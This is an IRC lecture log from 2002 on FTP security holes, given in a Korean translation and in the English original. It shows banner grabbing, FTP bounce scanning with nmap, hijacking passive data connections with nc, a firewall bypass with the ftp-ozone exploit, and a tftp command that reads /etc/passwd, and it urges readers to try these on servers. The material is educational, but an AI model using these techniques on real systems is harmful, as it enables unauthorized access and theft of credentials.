==========

FTP의 보안 취약점 IRC Lecture

Lecture Log

May 18th 2002

Write : By Vegas

번역 : By Zenky(zenky77@hananet.net)

#ZENKY : 이 글은 Wowhacker.org의 Lecture란에 박찬범 님이 올리신 원문을 한글로 다듬어 적은글이다. 허접한 번역이라 ^^;; 뒤에 원문을 달았습니다. 잘못적은게 있음 바로바로 지적해주시길 부탁드릴께여..^^

FTP(File Transfer Protocol)는 오늘날 인터넷에서 가장 많이 쓰는 프로토콜이다. 예전 Web이 있기 전부터 FTP를 통해 데이터를 전송하곤 했다. 처음 RFC에 정의된 FTP는 1971년 소위 ARPANET이라 부르는 internet 환경에서 만들어졌다. 그러나 이 Protocol은 이미 보안적 취약점을 많이 가지고 있다. FTP Protocol은 Data(데이터 전송)과 command(명령어) 전송을 위한 두 가지 Channel을 각지고 있는데, command(명령어) 전송 채널은 network sock을 당신의 FTP Client에서 FTP 21번 포트로 접속하는 기능을 하게끔 만들어 져있다. "LIST" 그리고 "RETR" 같은 명령어 들을 이 채널을 통해 사용하며, 명령을 수행하는 동안 FTP session(접속)을 유지한다. Data 채널은 항상 Client와 Server 사이에서 Data를 교환하도록 접속이 성립되어 있다. 이 접속은 "PORT" 혹은 "PASV" Command(명령어)를 통해 동적인

접속을 창조한다.

자^^ 이제 FTP 접속에 대한 예시를 들어보도록 하겠다 :

```
machine$ ftp ftp.example.com
220 ftp.example.com FTP server ready.
Name (localhost;user) : ftpuser
331 Password required for ftpuser.
Password: *******
230 User ftpuser logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

active mode는 Unix 기반의 거의 표준 모드이다(새로운 Linux 배포 판에서는 passive mode를 지원하기 시작했다).

active mode 접속에 대해 예를 들자면:

```
ftp> ls
- - - > PORT 140,10,64,96,6,156
200 PORT command successful.
- - - > LIST
150 Opening ASCII mode data connection for /bin/ls.
total 100
drwx- - - - - - 2 ftpuser users 4096 Jan 25 2002 Mail
drwx- - - - - - 2 ftpuser users 4096 Jan 23 2002 bin
-rw- - - - - - - 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz
-rw- - - - - - - 1 ftpuser users 40184 Feb 5 01:20 tool.tgz
drwx- - - - - - 2 ftpuser users 4096 Jan 26 01:35 tmp
226 Transfer complete.
ftp> get prog.tgz
- - - > PORT 140,10,64,96,16,29
200 PORT command successful.
- - - > RETR prog.tgz
150 Opening BINARY mode data connection for prog.tgz (33392 bytes).
226 Transfer complete.
```

33392 bytes received in 0.097 secs (3.4e+02 Kbytes/sec)
ftp>

사용자가 "ls"라는 명령어를 칠 때 FTP client는 접속을 위해 server에 IP와 Port의 정보 data를 보낸다.

client에서 사용하는 "PORT" 명령어는 다음과 같다 :

PORT A,B,C,D,X,Y

A,B,C,D 는 클라이언트 IP 그리고 X,Y와 일치한다. 이 octet(필자 주* 8bit를 지칭하는 네트워크 용어다^^;)

Server가 사용할 port를 계산하는데 사용된다.(X*256+Y)

예를 들자면, 140.10.64.96은 아마 FTP client(나 자신)의 IP를 나타낼 것이다. 그리고 1692 Port를 사용할 것이다.(6*256+156)

1 Bit Protocol은 exploit을 이해하는 작업에서 도움이 되리라 생각한다. :)

File Transfer Protocol의 Exploit(취약점)을 사용하는데 여러 다른 방법이 있다.

1- Clear passwords on the network

Password는 암호화 되지 않은 상태로 데이터를 주고 받기 때문에 간단한 스니퍼를 이용해서 사용자의 id와 Password를 알아낼 수 있을 것이다.

2- FTP banners

이 취약점은 해커가 FTP에 ATTACK을 하기 시작한 이후로 가장 많이 쓰는 방법이다. FTP 서버에 접속하려고 하면 운영중인 FTP 서버의 Version과 정보를 알 수 있을 것이다

여기^^ 예가 있다.. :)

machine$ nc ftp.example.com 21

220 tux.dmz.example.com FTP server (Version wu-2.6.0(1) Sat May 18 0:25:34 EST 2002) ready.

Telnet으로 FTP 서버의 21번 포트로 접속했을 때 똑같은 메시지를 받을 수 있을 것이다(For Windows Users)

자 우리는 wu-ftpd 2.6.0(1)가 FTP 서버의 데몬임을 알았다.

우리는 (Server의 상태를 알수있게하는)날짜와 시간을 알게 되었다.

또한 우리는 서버의 Real Name이 tux.dmz.example.com 이란 걸 알게 되었다.그리고 이 서버가 Linux 환경에서

돌아가는걸 알 수 있다(tux는 Linux 펭귄의 이름이다) 그리고 DMZ라는 방화벽아래에 존재한다는 것도 알 수 있다.

3- Port scanning through a distant FTP server

"PORT"란 명령어는 FTP client에게 Server의 IP와 Port에 대한 data를 보내준다. 일반적으로, FTP client의 IP와 Port 에 차이가 있지만, 다른 Machine을 스캔함 으로써 알수있다.

이것을 소위 **"FTP bounce"**라 지칭한다.

이것은 주로 익명(anonymous)사용자 상태일 때, 원격 서버를 Scan한 뒤 Machine을 스캔 한 로그에서 FTP Server IP을 알아낸다. 그리고 항상 목표가 ACL의 예처럼 자동적으로 host Scanning을 멈추는 것이 가능하다면, 이 기술을 사용할 수 있을 것이다. 해커는 다른 FTP 서버를 이용해 목표 target 서버 스캔하고 그는 그가 원하는 정보를 얻을 수 있을 것이다. 이렇게 하면 host를 관통하여 FTP bounce Scan을 nmap이란 툴을 활용하여

할 수 있을 것이다 :

```
machine$ nmap  - b user:password@ftp.example.com:21 target
```

이것은 일반적인 포트스캔 보다 좀 오래 걸리겠지만, 그대는 익명(anonymous)접근을 했을 뿐이다. 그리고 FTP bounce는 다른 FTP에 있는 데이터를 훔칠 수도 있을 것이다. 해커는 서버에 Access(접근) 하지 않고도 FTP 서버를 Hacking 할 수 있는 것이다. 나는 공격 타입에 대해 설명할 생각을 가지고 있다. 그 이유는 Hobbit란 Nick 쓰는 녀석이 이미 securityfocus에 설명해놨기 때문이다. 그 정보를 얻으려면 이 링크를 가져다 붙여라 : http://www.securityfocus.com/archive/1/3488

4- Steal datas with a passive ftp connection

FTP client가 "PASV"와 "PORT" 명령을 보내는 사이에 "List","RETR","STOR"... 등의 보낸다면 해커는 connection과 보내고 있는 데이터를 훔칠 수 있을 것이다.

어떻게 하냐면은 :

 # 한 유저가 "LIST"명령어를 FTP 서버에서 실행했다.

```
ftp> ls
200 Entering Passive Mode (127,0,0,1,160,34)
150 Opening ASCII mode data connection for /bin/ls.
...
226 Transfer complete.
ftp>
```

*# 해커가 들어와서 "PASV" 와 "LIST" 명령어를 실행시켰다.connect 40994(160*256+34)Port로 접속했고 인증 없이 FTP 서버의 file list를 받는다.*

```
        hackerbox$ nc ftp.example.com 40994
```

```
total 100
drwx------ 2 ftpuser users 4096 Jan 25 2002 Mail
drwx------ 2 ftpuser users 4096 Jan 23 2002 bin
-rw------- 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz
-rw------- 1 ftpuser users 40184 Feb 5 01:20 tool.tgz
drwx------ 2 ftpuser users 4096 Jan 26 01:35 tmp
hackerbox$
```

어떤 Port가 FTP 서버에 사용되는지 알면, 그 해커는 FTP 서버에 접근하는걸 더 쉽게 시도 할 수 있을 것이고, 감사히 40993번 포트의 명령어 "PASV"를 감사히 받을 것이다.그냥 보면, 이것은 단지 Login 한 사용자의 포트에 불과 하다.실제로, FTP서버의 포트 번호 증가는 앞선 접속포트에 +1 하는 것뿐이다.만약에 Hacker가 Before 사용자 였다면, 그는 마지막 port 번호를 받게 되고, 쉽게 사용자의 Port를 추측할 수 있을 것이다.이렇게 접속하면 FTP서버에서 어떤 인증없이 Access 할 수 있을것이다.

5- Steal datas with an active ftp connection

활성화된 FTP 접속은 passive ftp에서와 같이 해킹에 이용될 수 있다.(단, 하나가 다르다면, client가 아닌 서버를 공격한다는 것뿐이다.)보통의 해커는 passive attack으로 session을 훔치는 것 보다 이 기술을 더 좋아하는데, 그 이유는 해커는 server에 connection하고 있는 Client를 sniff할 수 있기 때문이다.

만약 그가 서버에 sniff 할 수 있다면 암호화 되기 전의 name(id)와 password가 포함된 데이터에 Access 할 수 있기 때문이다. 해커는 또한 PortScan을 이용해서 client의 FTP 연결 port를 알 수도 있을 것이다.

6- How to access to a protected port on a FTP server through the firewall

많은 경우 FTP서버는 FIREWALL 아래에 존재 한다. 그리고 당신은 오직

FTP에만 접속할 수 있을 뿐이다. 심지어 만약 다른 서비스가 서버에서 돌고 있을지언정.. 일반적으로, FTP에서 PASV 명령어가 요청을 하면 Firewall 은 Open을 하고, data가 다 전송되면 Firewall은 Close 한다. 그러나 많은 방화벽은 세팅에서 접속 시 열고 닫힘은 적절하지 않다. 우리는 이 예를 DunSong의 Exploit에서 찾을 수 있다.

(http://www.monkey.org/~dugsong/ftp-ozone.c)

우리는 firewall exploit을 이용할 것이다. 그리고 Firewall 아래에 있는 FTP 서버인 79번 Port로 접속 할 것이다. 79번 Port는 일반적으로 Web에서 접속이 불가능하다

```
hackerbox$ ftp-ozone ftp.example.com 79
root
Login: root                    Name: Superuser
Directory: /root          Shell: /bin/bash
On since Sat May 18 0:50 (PST) on tty2
 7 hours 18 minutes idle
 No mail.
 No Plan.
hackerbox$
```

"PASV 227 (10,10,10,10,0,79)"명령에 의해 Ftp-ozone는 123을 쓸 것이다 "." The FTP server 는 "…. (x123)….227 (10,10,10,10,0,79)" 이라 응답할 것이다: command not understood

Ftp-ozone 는 확실히 123 "." 그 이유는 패킷은 123 point 그리고 다른 "227 (10,10,10,10,0,79)"을 포함하고 있기 때문이다.

: command not understood

Firewall은 2번째 패킷이 가능한 PASV명령어라 보고 79번 FTP서버로의 접속을 허락할 것이다.

또한 http://www.monkey.org/~dugsong/ftpd - ozone.c 라는 Exploit에서도 보여진다.

7- Anonymous ftp

내 생각엔 이건 ftp에 아주 잘 알려진 Exploit 같다. 이건 익명(anonymous) 사용자 접속을 지원하는 FTP 서버에서 Test 해볼 수 있을 것이다 :

ftp - n (윈도우 사용자들은 시작에 이것을 넣어주면 된다^^)

ftp>

ftp>open www.example.com

220 tux.dmz.example.com FTP server (Version wu - 2.6.0(1)

Sat May 18 0:25:34 EST 2002) ready.

QUOTE user ftp (or anonymous)

QUOTE cwd ~root

Please login with user and pass before

QUOTE pass ftp (or anonymous)

You 're logged in :

ftp>

그대는 UDP가 열려있는걸 알 수 있을 것이다 :

telnet www.example.com

Sun OS 5.3 last Realise

Login:guest

Password: guest

WELCOME ON BLA BLA BLA .You re logged as guest

Last login at 14H29 Saturday 18

$tftp www.example.com

$tftp>GET /etc/passwd /tmp/system.hacked

$tftp>quit

이제 당신이 원하는걸 알 수 있을 것이다.
내생각엔 당신은 21번 Port가 열려있는 서버에 접근하는 꺼리를 얻었으리라 생각한다.
이 강의가 도움이 됐음 좋겠다
자세한 정보는 http://www.securityfocus.com에서 Exploit을 찾아서 FTP 서비스에 적용시켜봐라

#원문입니다..^ ^*

##

Lecture Log

May 18th 2002

By Vegas

##

<Vegas> ___ Security holes in the File Transfer Protocol (FTP)___

<Vegas>

<Vegas> FTP or File Transfer Protocol is today one of the most used protocol on the internet.

<Vegas> We were using FTP to send and receive datas a long time before the web.

<Vegas> The first RFC on FTP has been made in 1971 when internet was still called ARPANET.

<Vegas> But this protocol had and still have some security defects.

<Vegas> The FTP protocol use 2 differents channels for the datas and the commands.

<Vegas> The command channel is made by a network sock that connect your FTP client to the port 21 of the FTP server.

<Vegas> Commands like "LIST" and "RETR" use this channel that remain active during all the FTP session.

<Vegas> The data channel connection is established every time the client and the server needs to exchange datas.

<Vegas> The connection is created dynamically with the commands "PORT" or "PASV".

<Vegas> Now here is an example of a ftp connection using an unix client.

<Vegas>

<Vegas> machine$ ftp ftp.example.com

<Vegas> 220 ftp.example.com FTP server ready.

<Vegas> Name (localhost;user) : ftpuser

<Vegas> 331 Password required for ftpuser.

<Vegas> Password: *******

<Vegas> 230 User ftpuser logged in.

<Vegas> Remote system type is UNIX.

<Vegas> Using binary mode to transfer files.

<Vegas> ftp>

<Vegas>

<Vegas> The active mode is the default mode for almost all FTP clients on UNIX (new linux distributions starts using the passive mode).

<Vegas> Here is an example of an active FTP connection :

<Vegas>

<Vegas> ftp> ls

<Vegas> ---> PORT 140,10,64,96,6,156

<Vegas> 200 PORT command successful.

<Vegas> ---> LIST

<Vegas> 150 Opening ASCII mode data connection for /bin/ls.

<Vegas> total 100

<Vegas> drwx------ 2 ftpuser users 4096 Jan 25 2002 Mail

<Vegas> drwx------ 2 ftpuser users 4096 Jan 23 2002 bin

<Vegas> -rw------- 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz

<Vegas> -rw------- 1 ftpuser users 40184 Feb 5 01:20 tool.tgz

<Vegas> drwx------ 2 ftpuser users 4096 Jan 26 01:35 tmp

<Vegas> 226 Transfer complete.

<Vegas> ftp> get prog.tgz

<Vegas> ---> PORT 140,10,64,96,16,29

<Vegas> 200 PORT command successful.

<Vegas> ---> RETR prog.tgz

<Vegas> 150 Opening BINARY mode data connection for prog.tgz (33392 bytes).

<Vegas> 226 Transfer complete.

<Vegas> 33392 bytes received in 0.097 secs (3.4e+02 Kbytes/sec)

<Vegas> ftp>

<Vegas>

<Vegas> When the user type "ls", the FTP client sends to the server informations about the IP

and the port it will connect to send datas.

<Vegas> For that the client is using the command "PORT" like this :

<Vegas>

<Vegas> PORT A,B,C,D,X,Y

<Vegas>

<Vegas> A,B,C,D correspond to the client IP and X,Y are the octets used to calculate the port the server will use (X*256+Y).

<Vegas> For this example, 140.10.64.96 will be the IP of the FTP client (me) and 1692 will be the port (6*256+156).

<Vegas> I had to tell you a bit about the protocol so that you will better understand how the following exploits works.

<Vegas> :)

<Vegas> Now this are different ways you can use to exploit the File Transfer Protocol.

<Vegas>

<Vegas> 1- Clear passwords on the network

<Vegas>

<Vegas> The passwords sent and received are not encrypted so a simple sniff can permit you to have user names passwords.

<Vegas>

<Vegas> 2- FTP banners

<Vegas>

<Vegas> That vulnerability is much used by hackers to start their attacks.

<Vegas> When you try to connect to a FTP server you will receive a banner that will inform you on what software version is running on the FTP server.

<Vegas> Here is an example :

<Vegas>

<Vegas> machine$ nc ftp.example.com 21

<Vegas> 220 tux.dmz.example.com FTP server (Version wu-2.6.0(1)

<Vegas> Sat May 18 0:25:34 EST 2002) ready.

<Vegas>

<Vegas> You will receive the same infos by telneting a ftp server on the port 21 (for windows users)

<Vegas> Now we know that the FTP server is running wu-ftpd 2.6.0(1).

<Vegas> We know the day and the hour (that can help to situate the server).

<Vegas> We also know that the real name of the server is tux.dmz.example.com and you may guess that the server is running a linux

<Vegas> (tux is the name of the linux penguin) and is behind a firewall in the DMZ.

<Vegas>

<Vegas> 3- Port scanning through a distant FTP server

<Vegas>

<Vegas> The command "PORT" sent by a FTP client indicate to the server the IP and the port to which it will have to connect to send his datas.

<Vegas> Normally, this is the port and the IP of the FTP client but you can use it to scan a distant machine.

<Vegas> This is called the "FTP bounce".

<Vegas> It is used mostly to stay anonymous to scan a distant server, the logs of the scanned machine will show the FTP server's IP.

<Vegas> It also can be used if the target automatically stop hosts scanning their ports with ACLs

for example.

<Vegas> The hacker will use different FTP servers to scan all the target and will get the infos he wants.

<Vegas> You can scan a host by using the FTP bounce with nmap :

<Vegas>

<Vegas> machine$ nmap -b user:password@ftp.example.com:21 target

<Vegas>

<Vegas> Thats a bit longer than a normal portscan but here you will be anonymous.

<Vegas> The FTP bounce can also be use to steal datas from another FTP Server.

<Vegas> A hacker won't have access to that server but the hacked FTP server will.

<Vegas> I won't explain much about that type of attack coz a guy named Hobbit has already explain it in a post on securityfocus.

<Vegas> I wouldn't like to paste it all here so i'll just give you the link : http://www.securityfocus.com/archive/1/3488

<Vegas>

<Vegas> 4- Steal datas with a passive ftp connection

<Vegas>

<Vegas> Between the moment the FTP client send a command "PASV" or "PORT" and when it send a command to receive datas like "LIST", "RETR", "STOR" ...

<Vegas> theres a time where a hacker can connect and steal sent datas or send datas.

<Vegas> How does it work :

<Vegas>

<Vegas> # A user execute a "LIST" comand on the FTP server

<Vegas> ftp> ls

<Vegas> 200 Entering Passive Mode (127,0,0,1,160,34)

<Vegas> 150 Opening ASCII mode data connection for /bin/ls.

<Vegas> ...

<Vegas> 226 Transfer complete.

<Vegas> ftp>

<Vegas>

<Vegas> # Here the hacker enter "PASV" and "LIST" commands, connect to the port 40994 (160*256+34) and receive the list of files in the FTP server without authentification.

<Vegas> hackerbox$ nc ftp.example.com 40994

<Vegas> total 100

<Vegas> drwx------ 2 ftpuser users 4096 Jan 25 2002 Mail

<Vegas> drwx------ 2 ftpuser users 4096 Jan 23 2002 bin

<Vegas> -rw------- 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz

<Vegas> -rw------- 1 ftpuser users 40184 Feb 5 01:20 tool.tgz

<Vegas> drwx------ 2 ftpuser users 4096 Jan 26 01:35 tmp

<Vegas> hackerbox$

<Vegas>

<Vegas> To know what port the FTP server will use, the hacker will earlier try to connect to the FTP server and will receive thanks to the "PASV" command the port number 40993.

<Vegas> As you can see, this is the port just before the port used by the loged user.

<Vegas> Indeed, the FTP server increment the port number by adding +1 to the last used port.

<Vegas> If the hacker connect just before the user, he will receive the last port number used and will easiely guess what port will be use by the user.

<Vegas> You will then have access to the FTP server without authenification.

<Vegas>

<Vegas> 5- Steal datas with an active ftp connection

<Vegas>

<Vegas> An active FTP connection can be hacked by using the same attack as with a passive FTP.

<Vegas> Only one think will change, you'll have to attack the client instead of the server.

<Vegas> A hacker generally prefer using the passive attack to steal a session coz he will have to sniff the server to find client connections.

<Vegas> If he's able to sniff the server, he will also have access to the datas sent including the user name and the password that arn't encrypted as i said before.

<Vegas> He will also have to portscan the client to see the port he is using to connect to the FTP server.

<Vegas>

<Vegas> 6- How to access to a protected port on a FTP server through the firewall

<Vegas>

<Vegas> Most of the time, FTP servers are situated behind a firewall and you can only have an access to the FTP even if other services are running on the server.

<Vegas> Normally, a firewall will open the port needed by the FTP server with the command PASV to transfer the datas and will close it when datas have been sent.

<Vegas> But most of the firewalls will open this port even if the connection isn't correct.

<Vegas> We will take as example the exploit of Dug Song (http://www.monkey.org/~dugsong/ftp-ozone.c).

<Vegas> We will use it to exploit a firewall and will try to connect to the port 79 of the FTP server behind this firewall.

<Vegas> The port 79 is normally not accessible by the web.

<Vegas>

<Vegas> hackerbox$ ftp-ozone ftp.example.com 79

<Vegas> root

<Vegas> Login: root Name: Superuser

<Vegas> Directory: /root Shell: /bin/bash

<Vegas> On since Sat May 18 0:50 (PST) on tty2

<Vegas> 7 hours 18 minutes idle

<Vegas> No mail.

<Vegas> No Plan.

<Vegas> hackerbox$

<Vegas>

<Vegas> Here Ftp-ozone will write 123 "." followed by the command "PASV 227 (10,10,10,10,0,79)".

<Vegas> The FTP server will answer with "....(x123)....227 (10,10,10,10,0,79)": command not understood".

<Vegas> Ftp-ozone use exactly 123 "." coz a packet will contain this 123 points and the other will contain the command "227 (10,10,10,10,0,79)": command not understood

<Vegas> The firewall seeing the 2nd packet will take it as a valid PASV command and will allow the user to connect to the port 79 of the FTP server.

<Vegas> Also have a look at http://www.monkey.org/~dugsong/ftpd-ozone.c to exploit an active connection on the FTP client.

<Vegas>

<Vegas> 7- Anonymous ftp

<Vegas>

<Vegas> I think this is the most known exploit on ftp.

<Vegas> Thats what you will have to do to test if the FTP server allows anonymous logon :

<Vegas>

<Vegas> ftp -n (for Windows users on execute from the start menu)

<Vegas> ftp>

<Vegas> ftp>open www.example.com

<Vegas> 220 tux.dmz.example.com FTP server (Version wu-2.6.0(1)

<Vegas> Sat May 18 0:25:34 EST 2002) ready.

<Vegas> QUOTE user ftp (or anonymous)

<Vegas> QUOTE cwd ~root

<Vegas> Please login with user and pass before

<Vegas> QUOTE pass ftp (or anonymous)

<Vegas> You 're logged in :

<Vegas> ftp>

<Vegas>

<Vegas> You can also do that if the UDP port is open :

<Vegas>

<Vegas> telnet www.example.com

<Vegas> Sun OS 5.3 last Realise

<Vegas> Login:guest

<Vegas> Password: guest

<Vegas> WELCOME ON BLA BLA BLA .You re logged as guest

<Vegas> Last login at 14H29 Saturday 18

<Vegas> $tftp www.example.com

<Vegas> $tftp>GET /etc/passwd /tmp/system.hacked

<Vegas> $tftp>quit

<Vegas>

<Vegas> Now im sure you know what to do...

<Vegas> I think you've got some stuff to try now when you will see the port 21 open on a server.

<Vegas> I hope the lecture will be helpfull.

<Vegas> For any additionnal infos, have a look on http://www.securityfocus.com to find exploits on the FTP service that is running on the server.

##

#Post lecture rambling

##

*** Vegas sets mode: -m

<dksk8> brav0!!!

<Strider> nice one vegas

<dksk8> what a gr9 lecture

<dksk8> gr8

<Vegas> ty

<dksk8> can i ask 1 question

<Vegas> that was mostly for newbies this time :)

<dksk8> i had in the back of my mind

<Vegas> sure go on

<bobybobus> cool

<dksk8> ok question: For this example, 140.10.64.96 will be the IP of the FTP client (me) and 1692 will be the port (6*256+156). >> where in the hell did you get 156

<Strider> can someone send me the logs?

<StartX> u can get it from the site

<Vegas> mh let me find it on my logs

<Strider> which my tut is still the best on ;)

<Vegas> ftp> ls

<Vegas> ---> PORT 140,10,64,96,6,156

<Vegas> 200 PORT command successful.

<Vegas> ---> LIST

<Vegas> here

<Vegas> 140,10,64,96 is the ip

<dksk8> ohhh

<luCky_s3vN> what is ur site starx

<Vegas> and 6,156 is for the port number

<dksk8> i see

<StartX> www.advknowlege.net

<Vegas> *256 if u know binary a bit

<dksk8> is it gonna be on the site?

<dksk8> this lecture?

<Strider> ya

<StartX> yep in about 10 mins

* dksk8 could change it to html

<dksk8> if you would like

<dksk8> dunno if you do that

<StartX> well all the others are txt so its best to just leave them like that

<StartX> thanks for offering though

<dksk8> how many are there

<dksk8> ?

<dksk8> lectures like this

<dksk8> ?

<Strider> about 5 i tink

<dksk8> hmm

<StartX> 6

<Vegas> have a look

<StartX> this is the 7th

<dksk8> i could convert em all

<StartX> http://www.advknowledge.net/archive/index.php

<Strider> i was close

<dksk8> i just wanna be helpful

<dksk8> if i can